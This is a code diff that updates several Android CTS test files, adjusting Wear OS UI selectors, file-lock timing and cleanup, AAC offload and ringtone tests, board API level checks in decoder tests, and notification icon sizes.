+++ b/tests/tests/hibernation/src/android/hibernation/cts/AppHibernationUtils.kt
@@ -298,7 +298,7 @@ fun openUnusedAppsNotification() {
expandNotificationsWatch(UiAutomatorUtils2.getUiDevice())
waitFindObject(uiAutomation, notifSelector).click()
// In wear os, notification has one additional button to open it
- waitFindObject(uiAutomation, By.text("Open")).click()
+ waitFindObject(uiAutomation, By.textContains("Open")).click()
} else {
val permissionPkg: String = InstrumentationRegistry.getTargetContext()
.packageManager.permissionControllerPackageName
diff --git a/tests/tests/hibernation/src/android/hibernation/cts/AutoRevokeTest.kt b/tests/tests/hibernation/src/android/hibernation/cts/AutoRevokeTest.kt
index 3c1269fce8d..75bb2146e2e 100644
--- a/tests/tests/hibernation/src/android/hibernation/cts/AutoRevokeTest.kt
+++ b/tests/tests/hibernation/src/android/hibernation/cts/AutoRevokeTest.kt
@@ -693,6 +693,12 @@ class AutoRevokeTest {
} else {
"Remove permissions"
}
+
+ if (hasFeatureWatch()) {
+ return waitFindObject(
+ By.checkable(true).hasDescendant(By.textStartsWith(autoRevokeText)))
+ }
+
val parent = waitFindObject(
By.clickable(true)
.hasDescendant(By.textStartsWith(autoRevokeText))
diff --git a/tests/tests/libcorefileio/src/android/cts/FileChannelInterProcessLockTest.java b/tests/tests/libcorefileio/src/android/cts/FileChannelInterProcessLockTest.java
index 9f78d25150f..e5b25c93b9a 100644
--- a/tests/tests/libcorefileio/src/android/cts/FileChannelInterProcessLockTest.java
+++ b/tests/tests/libcorefileio/src/android/cts/FileChannelInterProcessLockTest.java
@@ -55,7 +55,7 @@ public class FileChannelInterProcessLockTest extends AndroidTestCase {
* the service. This provides ample amount of time for the service to receive the request from
* the test, then act, and respond back.
*/
- final static int MAX_WAIT_TIME = 7;
+ final static int MAX_WAIT_TIME = 20;
@Override
public void tearDown() throws Exception {
@@ -418,27 +418,30 @@ public class FileChannelInterProcessLockTest extends AndroidTestCase {
private void checkTryLockBehavior(LockType localLockType, LockType remoteLockType,
ChannelType localChannelType, ChannelType remoteChannelType,
boolean expectToGetLock) throws Exception {
- IntentReceiver.resetReceiverState();
-
- // Request that the remote lock be obtained.
- getContext().startService(new Intent(getContext(), LockHoldingService.class)
- .putExtra(LockHoldingService.LOCK_TYPE_KEY, remoteLockType)
- .putExtra(LockHoldingService.CHANNEL_TYPE_KEY, remoteChannelType));
-
- // Wait for a signal that the remote lock is definitely held.
- assertTrue(IntentReceiver.lockHeldLatch.await(MAX_WAIT_TIME, SECONDS));
-
- // Try to acquire the local lock in all cases and check whether it could be acquired or
- // not as expected.
- if (expectToGetLock) {
- FileLock fileLock = acquire(getContext(), localLockType, localChannelType);
- assertNotNull(fileLock);
- assertTrue(fileLock.isValid());
- } else {
- assertNull(acquire(getContext(), localLockType, localChannelType));
+ try {
+ IntentReceiver.resetReceiverState();
+
+ // Request that the remote lock be obtained.
+ getContext().startService(new Intent(getContext(), LockHoldingService.class)
+ .putExtra(LockHoldingService.LOCK_TYPE_KEY, remoteLockType)
+ .putExtra(LockHoldingService.CHANNEL_TYPE_KEY, remoteChannelType));
+
+ // Wait for a signal that the remote lock is definitely held.
+ assertTrue(IntentReceiver.lockHeldLatch.await(MAX_WAIT_TIME, SECONDS));
+
+ // Try to acquire the local lock in all cases and check whether it could be acquired or
+ // not as expected.
+ if (expectToGetLock) {
+ FileLock fileLock = acquire(getContext(), localLockType, localChannelType);
+ assertNotNull(fileLock);
+ assertTrue(fileLock.isValid());
+ } else {
+ assertNull(acquire(getContext(), localLockType, localChannelType));
+ }
+ // Release the remote lock.
+ } finally {
+ stopService();
}
- // Release the remote lock.
- stopService();
}
/**
@@ -454,76 +457,96 @@ public class FileChannelInterProcessLockTest extends AndroidTestCase {
private void checkLockBehavior(LockType localLockType, LockType remoteLockType,
ChannelType localChannelType, ChannelType remoteChannelType,
boolean expectToWait) throws Exception {
- IntentReceiver.resetReceiverState();
-
- // The amount of time the remote service should hold lock.
- long remoteLockHoldTimeMillis = 5000;
-
- // The amount of time test should get to try to acquire the lock.
- long sufficientOverlappingTimeInMillis = 2000;
-
- // This is the allowable delta in the time between the time recorded after the service
- // released the lock and the time recorded after the test obtained the lock.
- long lockReleasedAndReacquiredTimeDeltaInMillis = 500;
-
- // Tell the service to acquire a remote lock.
- Intent sendIntent = new Intent(getContext(), LockHoldingService.class)
- .putExtra(LockHoldingService.TIME_TO_HOLD_LOCK_KEY, remoteLockHoldTimeMillis)
- .putExtra(LockHoldingService.LOCK_TYPE_KEY, remoteLockType)
- .putExtra(LockHoldingService.CHANNEL_TYPE_KEY, remoteChannelType)
- .putExtra(LockHoldingService.LOCK_BEHAVIOR_RELEASE_AND_NOTIFY_KEY, true);
-
- getContext().startService(sendIntent);
-
- // Wait for the service to hold the lock and notify for the same.
- assertTrue(IntentReceiver.lockHeldLatch.await(MAX_WAIT_TIME, SECONDS));
-
- long localLockNotObtainedTime = System.currentTimeMillis();
-
- // Acquire the lock locally.
- FileLock fileLock = acquire(getContext(), localLockType, localChannelType);
- long localLockObtainedTime = System.currentTimeMillis();
-
- // Wait until the remote lock has definitely been released.
- assertTrue(IntentReceiver.lockReleasedLatch.await(MAX_WAIT_TIME, SECONDS));
-
- Bundle remoteLockReleasedBundle = IntentReceiver.lockReleasedBundle;
- long remoteLockNotReleasedTime =
- remoteLockReleasedBundle.getLong(LockHoldingService.LOCK_NOT_YET_RELEASED_TIMESTAMP);
- long remoteLockReleasedTime =
- remoteLockReleasedBundle.getLong(LockHoldingService.LOCK_DEFINITELY_RELEASED_TIMESTAMP);
-
- // We want the test to be notified well before the service releases the lock, so that
- // we can be sure that it tried obtaining the lock before the service actually released it.
- // Therefore, a two seconds time interval provides the test to get prepare and try to obtain
- // the lock. If this fails, it doesn't mean they definitely didn't overlap
- // but we can't be sure and the test may not be valid. This is why we hold the lock
- // remotely for a long time compared to the delays we expect for intents to propagate
- // between processes.
- assertTrue(remoteLockNotReleasedTime - localLockNotObtainedTime >
- sufficientOverlappingTimeInMillis);
-
- if (expectToWait) {
-
- // The remoteLockReleaseTime is captured after the lock was released by the
- // service. The localLockObtainedTime is captured after the lock was obtained by this
- // thread. Therefore, there is a degree of slop inherent in the two times. We assert
- // that they are "close" to each other, but we cannot assert any ordering.
- assertTrue(Math.abs(localLockObtainedTime - remoteLockReleasedTime) <
- lockReleasedAndReacquiredTimeDeltaInMillis);
- } else {
- // The remoteLockNotReleaseTime is captured before the lock was released by the
- // service. The localLockObtainedTime is captured after the lock was obtained by this
- // thread. The local thread should be able to get the lock before the remote thread
- // definitely release it. If this test fails it may not indicate a problem, but it
- // indicates we cannot be sure the test was successful the local lock attempt and the
- // remote lock attempt did not overlap.
- assertTrue(localLockObtainedTime < remoteLockNotReleasedTime);
- }
+ try {
+ IntentReceiver.resetReceiverState();
- // Asserting if the fileLock is valid.
- assertTrue(fileLock.isValid());
- stopService();
+ // The amount of time the remote service should hold lock.
+ long remoteLockHoldTimeMillis = 7000;
+
+ // The amount of time test should get to try to acquire the lock.
+ long sufficientOverlappingTimeInMillis = 2000;
+
+ // This is the allowable delta in the time between the time recorded after the service
+ // released the lock and the time recorded after the test obtained the lock.
+ long lockReleasedAndReacquiredTimeDeltaInMillis = 1000;
+
+ // Tell the service to acquire a remote lock.
+ Intent sendIntent = new Intent(getContext(), LockHoldingService.class)
+ .putExtra(LockHoldingService.TIME_TO_HOLD_LOCK_KEY, remoteLockHoldTimeMillis)
+ .putExtra(LockHoldingService.LOCK_TYPE_KEY, remoteLockType)
+ .putExtra(LockHoldingService.CHANNEL_TYPE_KEY, remoteChannelType)
+ .putExtra(LockHoldingService.LOCK_BEHAVIOR_RELEASE_AND_NOTIFY_KEY, true);
+
+ getContext().startService(sendIntent);
+
+ // Wait for the service to hold the lock and notify for the same.
+ assertTrue("No remote lock held notification",
+ IntentReceiver.lockHeldLatch.await(MAX_WAIT_TIME, SECONDS));
+
+ long localLockNotObtainedTime = System.currentTimeMillis();
+
+ // Acquire the lock locally.
+ FileLock fileLock = acquire(getContext(), localLockType, localChannelType);
+ long localLockObtainedTime = System.currentTimeMillis();
+
+ // Wait until the remote lock has definitely been released.
+ assertTrue("No remote lock release notification",
+ IntentReceiver.lockReleasedLatch.await(MAX_WAIT_TIME, SECONDS));
+
+ Bundle remoteLockReleasedBundle = IntentReceiver.lockReleasedBundle;
+ long remoteLockNotReleasedTime =
+ remoteLockReleasedBundle.getLong(LockHoldingService.LOCK_NOT_YET_RELEASED_TIMESTAMP);
+ long remoteLockReleasedTime =
+ remoteLockReleasedBundle.getLong(LockHoldingService.LOCK_DEFINITELY_RELEASED_TIMESTAMP);
+
+ // We want the test to be notified well before the service releases the lock, so that
+ // we can be sure that it tried obtaining the lock before the service actually released it.
+ // Therefore, a two seconds time interval provides the test to get prepare and try to obtain
+ // the lock. If this fails, it doesn't mean they definitely didn't overlap
+ // but we can't be sure and the test may not be valid. This is why we hold the lock
+ // remotely for a long time compared to the delays we expect for intents to propagate
+ // between processes.
+ assertTrue(String.format("Remote lock release start (%d), " +
+ "too soon after local lock notification time (%d). " +
+ "Need at least %d ms",
+ remoteLockReleasedTime,
+ localLockNotObtainedTime,
+ sufficientOverlappingTimeInMillis
+ ),
+ remoteLockNotReleasedTime - localLockNotObtainedTime >
+ sufficientOverlappingTimeInMillis);
+
+ if (expectToWait) {
+
+ // The remoteLockReleaseTime is captured after the lock was released by the
+ // service. The localLockObtainedTime is captured after the lock was obtained by this
+ // thread. Therefore, there is a degree of slop inherent in the two times. We assert
+ // that they are "close" to each other, but we cannot assert any ordering.
+ assertTrue(String.format("Local lock obtained (%d) too long " +
+ "from remote lock release time (%d). " +
+ "Expected at most %d ms.",
+ localLockObtainedTime, remoteLockReleasedTime,
+ lockReleasedAndReacquiredTimeDeltaInMillis),
+ Math.abs(localLockObtainedTime - remoteLockReleasedTime) <
+ lockReleasedAndReacquiredTimeDeltaInMillis);
+ } else {
+ // The remoteLockNotReleaseTime is captured before the lock was released by the
+ // service. The localLockObtainedTime is captured after the lock was obtained by this
+ // thread. The local thread should be able to get the lock before the remote thread
+ // definitely release it. If this test fails it may not indicate a problem, but it
+ // indicates we cannot be sure the test was successful the local lock attempt and the
+ // remote lock attempt did not overlap.
+ assertTrue(String.format("Local lock obtained (%d) after " +
+ "remote lock release start (%d)",
+ localLockObtainedTime, remoteLockNotReleasedTime),
+ localLockObtainedTime < remoteLockNotReleasedTime);
+ }
+
+ // Asserting if the fileLock is valid.
+ assertTrue(fileLock.isValid());
+ } finally {
+ stopService();
+ }
}
/**
diff --git a/tests/tests/media/audio/res/raw/sine40dblong_44k_128kbps_LC.m4a b/tests/tests/media/audio/res/raw/sine40dblong_44k_128kbps_LC.m4a
new file mode 100644
index 00000000000..e7aa85cc945
--- /dev/null
+++ b/tests/tests/media/audio/res/raw/sine40dblong_44k_128kbps_LC.m4a
Binary files differ
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioTrackOffloadTest.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioTrackOffloadTest.java
index 9ce7f56b1fa..d56d823acaa 100644
--- a/tests/tests/media/audio/src/android/media/audio/cts/AudioTrackOffloadTest.java
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioTrackOffloadTest.java
@@ -22,6 +22,7 @@ import static com.google.common.truth.Truth.assertWithMessage;
import android.annotation.Nullable;
import android.annotation.RawRes;
+import android.content.pm.PackageManager;
import android.content.res.AssetFileDescriptor;
import android.media.AudioAttributes;
import android.media.AudioFormat;
@@ -59,6 +60,19 @@ public class AudioTrackOffloadTest extends CtsAndroidTestCase {
private static final AudioAttributes DEFAULT_ATTR = new AudioAttributes.Builder().build();
+ // flag to indicate if AAC related tests need to be run or not.
+ private boolean mTestAacSupport = false;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ boolean isWatch = getContext().getPackageManager()
+ .hasSystemFeature(PackageManager.FEATURE_WATCH);
+ if (isWatch) {
+ mTestAacSupport = true;
+ }
+ }
+
public void testIsOffloadSupportedNullFormat() throws Exception {
try {
final boolean offloadableFormat = AudioManager.isOffloadedPlaybackSupported(null,
@@ -125,6 +139,15 @@ public class AudioTrackOffloadTest extends CtsAndroidTestCase {
getAudioFormatWithEncoding(AudioFormat.ENCODING_OPUS));
}
+ public void testAacLCAudioTrackOffload() throws Exception {
+ if (!mTestAacSupport) {
+ return;
+ }
+ testAudioTrackOffload(R.raw.sine40dblong_44k_128kbps_LC,
+ /* bitRateInkbps= */ 128,
+ getAudioFormatWithEncoding(AudioFormat.ENCODING_AAC_LC));
+ }
+
@CddTest(requirement="5.5.4")
public void testGaplessMP3AudioTrackOffload() throws Exception {
// sine882hz3s has a gapless delay of 576 and padding of 756.
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/RingtoneTest.java b/tests/tests/media/audio/src/android/media/audio/cts/RingtoneTest.java
index 38f7a37c6e3..c24500e2d88 100644
--- a/tests/tests/media/audio/src/android/media/audio/cts/RingtoneTest.java
+++ b/tests/tests/media/audio/src/android/media/audio/cts/RingtoneTest.java
@@ -16,6 +16,7 @@
package android.media.audio.cts;
+import android.content.ContentProvider;
import android.content.Context;
import android.content.pm.PackageManager;
import android.media.AudioAttributes;
@@ -171,11 +172,13 @@ public class RingtoneTest extends InstrumentationTestCase {
// Test an actual ringtone
Uri uri = RingtoneManager.getValidRingtoneUri(mContext);
assertNotNull("ringtone was unexpectedly null", uri);
- RingtoneManager.setActualDefaultRingtoneUri(mContext, RingtoneManager.TYPE_RINGTONE, uri);
+ Uri uriWithUser = ContentProvider.maybeAddUserId(uri, mContext.getUserId());
+ RingtoneManager.setActualDefaultRingtoneUri(mContext, RingtoneManager.TYPE_RINGTONE,
+ uriWithUser);
mRingtone = RingtoneManager.getRingtone(mContext, Settings.System.DEFAULT_RINGTONE_URI);
assertTrue(mRingtone.getStreamType() == AudioManager.STREAM_RING);
mRingtone.play();
- assertTrue("couldn't play ringtone " + uri, mRingtone.isPlaying());
+ assertTrue("couldn't play ringtone " + uriWithUser, mRingtone.isPlaying());
mRingtone.stop();
assertFalse(mRingtone.isPlaying());
}
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeOnlyTest.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeOnlyTest.java
index 93ab0d1c8bd..f2fc35b3e5a 100644
--- a/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeOnlyTest.java
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeOnlyTest.java
@@ -73,8 +73,8 @@ import java.util.function.Supplier;
@RunWith(AndroidJUnit4.class)
@ApiTest(apis = {"android.media.MediaCodec#BUFFER_FLAG_DECODE_ONLY"})
public class DecodeOnlyTest extends MediaTestBase {
- public static final boolean IS_BOARD_AT_LEAST_U =
- SystemProperties.getInt("ro.board.api_level", Build.VERSION_CODES.CUR_DEVELOPMENT)
+ public static final boolean WAS_LAUNCHED_ON_U_OR_LATER =
+ SystemProperties.getInt("ro.board.first_api_level", Build.VERSION_CODES.CUR_DEVELOPMENT)
>= Build.VERSION_CODES.UPSIDE_DOWN_CAKE;
private static final String MEDIA_DIR_STRING = WorkDir.getMediaDirString();
@@ -108,7 +108,8 @@ public class DecodeOnlyTest extends MediaTestBase {
@ApiTest(apis = {"android.media.MediaCodec#BUFFER_FLAG_DECODE_ONLY"})
public void testTunneledPerfectSeekInitialPeekOnAvc() throws Exception {
// Tunnel mode requires vendor support of the DECODE_ONLY feature
- Assume.assumeTrue("Board API level is not Android 14 or later.", IS_BOARD_AT_LEAST_U);
+ Assume.assumeTrue("First board API level is not Android 14 or later.",
+ WAS_LAUNCHED_ON_U_OR_LATER);
testTunneledPerfectSeek(AVC_VIDEO, true);
}
@@ -116,7 +117,8 @@ public class DecodeOnlyTest extends MediaTestBase {
@ApiTest(apis = {"android.media.MediaCodec#BUFFER_FLAG_DECODE_ONLY"})
public void testTunneledPerfectSeekInitialPeekOnVp9() throws Exception {
// Tunnel mode requires vendor support of the DECODE_ONLY feature
- Assume.assumeTrue("Board API level is not Android 14 or later.", IS_BOARD_AT_LEAST_U);
+ Assume.assumeTrue("First board API level is not Android 14 or later.",
+ WAS_LAUNCHED_ON_U_OR_LATER);
testTunneledPerfectSeek(VP9_VIDEO, true);
}
@@ -124,7 +126,8 @@ public class DecodeOnlyTest extends MediaTestBase {
@ApiTest(apis = {"android.media.MediaCodec#BUFFER_FLAG_DECODE_ONLY"})
public void testTunneledPerfectSeekInitialPeekOnHevc() throws Exception {
// Tunnel mode requires vendor support of the DECODE_ONLY feature
- Assume.assumeTrue("Board API level is not Android 14 or later.", IS_BOARD_AT_LEAST_U);
+ Assume.assumeTrue("First board API level is not Android 14 or later.",
+ WAS_LAUNCHED_ON_U_OR_LATER);
testTunneledPerfectSeek(HEVC_VIDEO, true);
}
@@ -132,7 +135,8 @@ public class DecodeOnlyTest extends MediaTestBase {
@ApiTest(apis = {"android.media.MediaCodec#BUFFER_FLAG_DECODE_ONLY"})
public void testTunneledPerfectSeekInitialPeekOffAvc() throws Exception {
// Tunnel mode requires vendor support of the DECODE_ONLY feature
- Assume.assumeTrue("Board API level is not Android 14 or later.", IS_BOARD_AT_LEAST_U);
+ Assume.assumeTrue("First board API level is not Android 14 or later.",
+ WAS_LAUNCHED_ON_U_OR_LATER);
testTunneledPerfectSeek(AVC_VIDEO, false);
}
@@ -140,7 +144,8 @@ public class DecodeOnlyTest extends MediaTestBase {
@ApiTest(apis = {"android.media.MediaCodec#BUFFER_FLAG_DECODE_ONLY"})
public void testTunneledPerfectSeekInitialPeekOffVp9() throws Exception {
// Tunnel mode requires vendor support of the DECODE_ONLY feature
- Assume.assumeTrue("Board API level is not Android 14 or later.", IS_BOARD_AT_LEAST_U);
+ Assume.assumeTrue("First board API level is not Android 14 or later.",
+ WAS_LAUNCHED_ON_U_OR_LATER);
testTunneledPerfectSeek(VP9_VIDEO, false);
}
@@ -148,7 +153,8 @@ public class DecodeOnlyTest extends MediaTestBase {
@ApiTest(apis = {"android.media.MediaCodec#BUFFER_FLAG_DECODE_ONLY"})
public void testTunneledPerfectSeekInitialPeekOffHevc() throws Exception {
// Tunnel mode requires vendor support of the DECODE_ONLY feature
- Assume.assumeTrue("Board API level is not Android 14 or later.", IS_BOARD_AT_LEAST_U);
+ Assume.assumeTrue("First board API level is not Android 14 or later.",
+ WAS_LAUNCHED_ON_U_OR_LATER);
testTunneledPerfectSeek(HEVC_VIDEO, false);
}
@@ -159,7 +165,8 @@ public class DecodeOnlyTest extends MediaTestBase {
@ApiTest(apis = {"android.media.MediaCodec#BUFFER_FLAG_DECODE_ONLY"})
public void testTunneledTrickPlayHevc() throws Exception {
// Tunnel mode requires vendor support of the DECODE_ONLY feature
- Assume.assumeTrue("Board API level is not Android 14 or later.", IS_BOARD_AT_LEAST_U);
+ Assume.assumeTrue("First board API level is not Android 14 or later.",
+ WAS_LAUNCHED_ON_U_OR_LATER);
testTunneledTrickPlay(HEVC_VIDEO);
}
@@ -167,7 +174,8 @@ public class DecodeOnlyTest extends MediaTestBase {
@ApiTest(apis = {"android.media.MediaCodec#BUFFER_FLAG_DECODE_ONLY"})
public void testTunneledTrickPlayAvc() throws Exception {
// Tunnel mode requires vendor support of the DECODE_ONLY feature
- Assume.assumeTrue("Board API level is not Android 14 or later.", IS_BOARD_AT_LEAST_U);
+ Assume.assumeTrue("First board API level is not Android 14 or later.",
+ WAS_LAUNCHED_ON_U_OR_LATER);
testTunneledTrickPlay(AVC_VIDEO);
}
@@ -175,7 +183,8 @@ public class DecodeOnlyTest extends MediaTestBase {
@ApiTest(apis = {"android.media.MediaCodec#BUFFER_FLAG_DECODE_ONLY"})
public void testTunneledTrickPlayVp9() throws Exception {
// Tunnel mode requires vendor support of the DECODE_ONLY feature
- Assume.assumeTrue("Board API level is not Android 14 or later.", IS_BOARD_AT_LEAST_U);
+ Assume.assumeTrue("First board API level is not Android 14 or later.",
+ WAS_LAUNCHED_ON_U_OR_LATER);
testTunneledTrickPlay(VP9_VIDEO);
}
@@ -231,7 +240,7 @@ public class DecodeOnlyTest extends MediaTestBase {
ByteBuffer inputBuffer = videoCodec.getInputBuffer(index);
int sampleSize = videoExtractor.readSampleData(inputBuffer, 0);
long presentationTime = videoExtractor.getSampleTime();
- int flags = videoExtractor.getSampleFlags();
+ int flags = 0;
if (sampleSize < 0) {
flags = MediaCodec.BUFFER_FLAG_END_OF_STREAM;
sampleSize = 0;
@@ -346,7 +355,7 @@ public class DecodeOnlyTest extends MediaTestBase {
ByteBuffer inputBuffer = videoCodec.getInputBuffer(index);
int sampleSize = videoExtractor.readSampleData(inputBuffer, 0);
long presentationTime = videoExtractor.getSampleTime();
- int flags = videoExtractor.getSampleFlags();
+ int flags = 0;
if (sampleSize < 0) {
flags = MediaCodec.BUFFER_FLAG_END_OF_STREAM;
sampleSize = 0;
@@ -488,7 +497,7 @@ public class DecodeOnlyTest extends MediaTestBase {
ByteBuffer inputBuffer = codec.getInputBuffer(index);
int sampleSize = videoExtractor.readSampleData(inputBuffer, 0);
long presentationTime = videoExtractor.getSampleTime();
- int flags = videoExtractor.getSampleFlags();
+ int flags = 0;
if (sampleSize < 0) {
flags = MediaCodec.BUFFER_FLAG_END_OF_STREAM;
sampleSize = 0;
@@ -787,7 +796,7 @@ public class DecodeOnlyTest extends MediaTestBase {
ByteBuffer audioInputBuffer = mAudioCodec.getInputBuffer(index);
int audioSampleSize = mAudioExtractor.readSampleData(audioInputBuffer, 0);
long presentationTime = mAudioExtractor.getSampleTime();
- int flags = mAudioExtractor.getSampleFlags();
+ int flags = 0;
if (audioSampleSize < 0) {
flags = MediaCodec.BUFFER_FLAG_END_OF_STREAM;
audioSampleSize = 0;
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java
index b6d428327f8..4721f8bc829 100644
--- a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java
@@ -109,9 +109,9 @@ public class DecoderTest extends MediaTestBase {
private static final String TAG = "DecoderTest";
private static final String REPORT_LOG_NAME = "CtsMediaDecoderTestCases";
- private static final int BOARD_SDK_LEVEL =
- SystemProperties.getInt("ro.board.api_level", Build.VERSION_CODES.CUR_DEVELOPMENT);
- public static final boolean IS_BOARD_AT_LEAST_S = BOARD_SDK_LEVEL >= Build.VERSION_CODES.S;
+ public static final boolean WAS_LAUNCHED_ON_S_OR_LATER =
+ SystemProperties.getInt("ro.board.first_api_level", Build.VERSION_CODES.CUR_DEVELOPMENT)
+ >= Build.VERSION_CODES.S;
private static boolean IS_AT_LEAST_R = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
private static boolean IS_BEFORE_S = ApiLevelUtil.isBefore(Build.VERSION_CODES.S);
@@ -3531,7 +3531,8 @@ public class DecoderTest extends MediaTestBase {
@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
public void testTunneledVideoPeekOnHevc() throws Exception {
// Requires vendor support of the TUNNEL_PEEK feature
- Assume.assumeTrue("Board API level is not Android 12 or later.", IS_BOARD_AT_LEAST_S);
+ Assume.assumeTrue("First board API level is not Android 12 or later.",
+ WAS_LAUNCHED_ON_S_OR_LATER);
testTunneledVideoPeekOn(MediaFormat.MIMETYPE_VIDEO_HEVC,
"video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv", 25);
}
@@ -3544,7 +3545,8 @@ public class DecoderTest extends MediaTestBase {
@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
public void testTunneledVideoPeekOnAvc() throws Exception {
// Requires vendor support of the TUNNEL_PEEK feature
- Assume.assumeTrue("Board API level is not Android 12 or later.", IS_BOARD_AT_LEAST_S);
+ Assume.assumeTrue("First board API level is not Android 12 or later.",
+ WAS_LAUNCHED_ON_S_OR_LATER);
testTunneledVideoPeekOn(MediaFormat.MIMETYPE_VIDEO_AVC,
"video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4", 25);
}
@@ -3557,7 +3559,8 @@ public class DecoderTest extends MediaTestBase {
@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
public void testTunneledVideoPeekOnVp9() throws Exception {
// Requires vendor support of the TUNNEL_PEEK feature
- Assume.assumeTrue("Board API level is not Android 12 or later.", IS_BOARD_AT_LEAST_S);
+ Assume.assumeTrue("First board API level is not Android 12 or later.",
+ WAS_LAUNCHED_ON_S_OR_LATER);
testTunneledVideoPeekOn(MediaFormat.MIMETYPE_VIDEO_VP9,
"bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm",
30);
@@ -3629,7 +3632,8 @@ public class DecoderTest extends MediaTestBase {
@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
public void testTunneledVideoPeekOffHevc() throws Exception {
// Requires vendor support of the TUNNEL_PEEK feature
- Assume.assumeTrue("Board API level is not Android 12 or later.", IS_BOARD_AT_LEAST_S);
+ Assume.assumeTrue("First board API level is not Android 12 or later.",
+ WAS_LAUNCHED_ON_S_OR_LATER);
testTunneledVideoPeekOff(MediaFormat.MIMETYPE_VIDEO_HEVC,
"video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv", 25);
}
@@ -3642,7 +3646,8 @@ public class DecoderTest extends MediaTestBase {
@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
public void testTunneledVideoPeekOffAvc() throws Exception {
// Requires vendor support of the TUNNEL_PEEK feature
- Assume.assumeTrue("Board API level is not Android 12 or later.", IS_BOARD_AT_LEAST_S);
+ Assume.assumeTrue("First board API level is not Android 12 or later.",
+ WAS_LAUNCHED_ON_S_OR_LATER);
testTunneledVideoPeekOff(MediaFormat.MIMETYPE_VIDEO_AVC,
"video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4", 25);
}
@@ -3655,7 +3660,8 @@ public class DecoderTest extends MediaTestBase {
@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
public void testTunneledVideoPeekOffVp9() throws Exception {
// Requires vendor support of the TUNNEL_PEEK feature
- Assume.assumeTrue("Board API level is not Android 12 or later.", IS_BOARD_AT_LEAST_S);
+ Assume.assumeTrue("First board API level is not Android 12 or later.",
+ WAS_LAUNCHED_ON_S_OR_LATER);
testTunneledVideoPeekOff(MediaFormat.MIMETYPE_VIDEO_VP9,
"bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm",
30);
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/ImageReaderDecoderTest.java b/tests/tests/media/decoder/src/android/media/decoder/cts/ImageReaderDecoderTest.java
index ad200cd1fb9..5a9921bb18a 100644
--- a/tests/tests/media/decoder/src/android/media/decoder/cts/ImageReaderDecoderTest.java
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/ImageReaderDecoderTest.java
@@ -33,6 +33,7 @@ import android.media.Image.Plane;
import android.media.ImageReader;
import android.media.MediaCodec;
import android.media.MediaCodecInfo;
+import android.media.MediaCodecInfo.CodecProfileLevel;
import android.media.MediaCodecInfo.CodecCapabilities;
import android.media.MediaCodecInfo.VideoCapabilities;
import android.media.MediaExtractor;
@@ -363,7 +364,13 @@ public class ImageReaderDecoderTest {
mediaFormat = mExtractor.getTrackFormat(0);
mediaFormat.setInteger(MediaFormat.KEY_COLOR_FORMAT, colorFormat);
-
+ if (mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP9) && video.contains("10bit")) {
+ // TODO: b/295804596 - parse color profiles in vp9
+ // In some cases, webm extractor may not signal
+ // profile for 10-bit VP9 clips. In such cases, set profile to a
+ // 10-bit compatible profile.
+ mediaFormat.setInteger(MediaFormat.KEY_PROFILE, CodecProfileLevel.VP9Profile2);
+ }
MediaCodecInfo info = mDecoder.getCodecInfo();
CodecCapabilities caps = info.getCapabilitiesForType(mMime);
diff --git a/tests/tests/notification/src/android/app/notification/current/cts/NotificationTemplateTest.kt b/tests/tests/notification/src/android/app/notification/current/cts/NotificationTemplateTest.kt
index e53e65c5347..9d61435d32d 100644
--- a/tests/tests/notification/src/android/app/notification/current/cts/NotificationTemplateTest.kt
+++ b/tests/tests/notification/src/android/app/notification/current/cts/NotificationTemplateTest.kt
@@ -61,7 +61,7 @@ class NotificationTemplateTest : NotificationTemplateTestBase() {
}
fun testWideIcon_inCollapsedState_canShowExact4By3() {
- val icon = createBitmap(400, 300)
+ val icon = createBitmap(40, 30)
val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
.setSmallIcon(R.drawable.ic_media_play)
.setContentTitle("Title")
@@ -120,7 +120,7 @@ class NotificationTemplateTest : NotificationTemplateTestBase() {
}
fun testWideIcon_inBigBaseState_canShowExact4By3() {
- val icon = createBitmap(400, 300)
+ val icon = createBitmap(40, 30)
val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
.setSmallIcon(R.drawable.ic_media_play)
.setContentTitle("Title")
@@ -174,7 +174,7 @@ class NotificationTemplateTest : NotificationTemplateTestBase() {
}
val picture = createBitmap(40, 30)
- val icon = createBitmap(400, 300)
+ val icon = createBitmap(40, 30)
val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
.setSmallIcon(R.drawable.ic_media_play)
.setContentTitle("Title")
@@ -225,7 +225,7 @@ class NotificationTemplateTest : NotificationTemplateTestBase() {
}
fun testWideIcon_inBigText_canShowExact4By3() {
- val icon = createBitmap(400, 300)
+ val icon = createBitmap(40, 30)
val views = Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
.setSmallIcon(R.drawable.ic_media_play)
